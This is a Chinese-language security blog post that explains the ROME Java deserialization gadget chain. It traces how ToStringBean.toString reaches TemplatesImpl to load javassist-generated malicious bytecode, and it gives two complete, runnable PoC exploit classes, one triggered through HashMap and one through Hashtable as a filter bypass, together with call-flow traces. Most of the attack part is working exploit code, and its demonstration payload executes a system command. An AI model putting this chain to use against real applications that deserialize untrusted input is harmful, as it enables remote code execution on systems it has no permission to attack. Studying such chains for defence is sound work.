Featured image of post java反序列化之ROME反序列化

java反序列化之ROME反序列化

java反序列化链子之ROME

前置知识

ROME是什么:

它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

依赖

1
2
3
4
5
6
7
<dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

第一条链子

链子尾部

关键就是ROME中自带的ToStringBean类中的toString方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
    PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
    if (pds != null) {
        for(int i = 0; i < pds.length; ++i) {
            String pName = pds[i].getName();
            Method pReadMethod = pds[i].getReadMethod();
            if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                this.printProperty(sb, prefix + "." + pName, value);
            }
        }
    }

<font style="color:rgb(221, 17, 68);">PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);</font>其实和JavaBean中调用getter的方法类似,而下面for循环就是对pds(取到的getter方法)进行反射调用。

所以这里我们就可以通过ToStringBean类的toString方法来调用getOutputProperties方法,这里我们可以发现有两个参数:

<font style="color:rgb(221, 17, 68);">this._beanClass</font><font style="color:rgb(221, 17, 68);">this._obj</font>,根据参数的名我们就可以知道beanClass是javaBean类型的class,obj就是我们要传入的实例化的Templateslmpl类对象

刚好这两个在构造函数里

1
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);

加上动态加载恶意类的链子就是这条链的尾部

验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_name", "aaa");
//javassist生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evilevil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
//byte[] bytecode = Files.readAllBytes(Paths.get("E:\\javawork\\timu\\src\\main\\java\\CISCN2023DeserBug\\evil.class"));
byte[][] codes = {bytes};
SetValue(templates, "_bytecodes", codes);
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
toStringBean.toString();

}
private static void SetValue(Object obj, String name, Object value) throws Exception{
  Class cls = obj.getClass();
  Field field = cls.getDeclaredField(name);
  field.setAccessible(true);
  field.set(obj, value);
}
}

成功利用

链子首部

这里直接看其他师傅的利用链

hashmap#readObject() -> ObjectBean#hashcode() -> EqualsBean#beanHashCode() -> ToStringBean#toString()

跟链子走一遍,灰常简单,就是注意hashmap.put那里在序列化的时候会进入链子,所以需要给个假的,再反射换成真的

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package poc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class poc {
    public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
    SetValue(templates, "_name", "aaa");
    //javassist生成恶意字节码
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("evilevil");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
    CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
ctClass.addConstructor(constructor);
    byte[] bytes = ctClass.toBytecode();
    //byte[] bytecode = Files.readAllBytes(Paths.get("E:\\javawork\\timu\\src\\main\\java\\CISCN2023DeserBug\\evil.class"));
    byte[][] codes = {bytes};
    SetValue(templates, "_bytecodes", codes);
    SetValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
    ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put(objectBean,"123");

    Field field = toStringBean.getClass().getDeclaredField("_obj");
    field.setAccessible(true);
    field.set(toStringBean,templates);
    serialize(hashMap);
    unserialize("ser.bin");
}
    private static void SetValue(Object obj, String name, Object value) throws Exception{
        Class cls = obj.getClass();
        Field field = cls.getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
 }

流程

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject
  HashMap.readObject
    HashMap.put
    HashMap.hash
      ObjectBean.hashCode
        EqualsBean.beanHashCode
          ToStringBean.toString
            TrAXFilter.TrAXFilter
            //后面就是动态加载恶意类的链子了

另一条链子

如果说对hashmap类做了过滤,这里能够用HashTable绕过

cc7的链子刚好就是用的HashTable,不过链子好像不同

Hashtable.readObject

这个函数里调用了hashCode方法

和上面的后面链子接上去了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package poc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class SecondPoc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        SetValue(templates, "_name", "aaa");
        //javassist生成恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("evilevil");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor constructor = CtNewConstructor.make("public evilevil(){Runtime.getRuntime().exec(\"calc\");}",ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        byte[][] codes = {bytes};
        SetValue(templates, "_bytecodes", codes);
        SetValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"123");

//        serialize(hashtable);
        unserialize("ser.bin");

    }
    private static void SetValue(Object obj, String name, Object value) throws Exception{
        Class cls = obj.getClass();
        Field field = cls.getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

流程

1
2
3
4
5
6
7
Hashtable.readObject
Hashtable.reconstitutionPut
  objectBean.hashCode
    EqualsBean.beanHashCode
          ToStringBean.toString
            TrAXFilter.TrAXFilter
            //后面就是动态加载恶意类的链子了
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计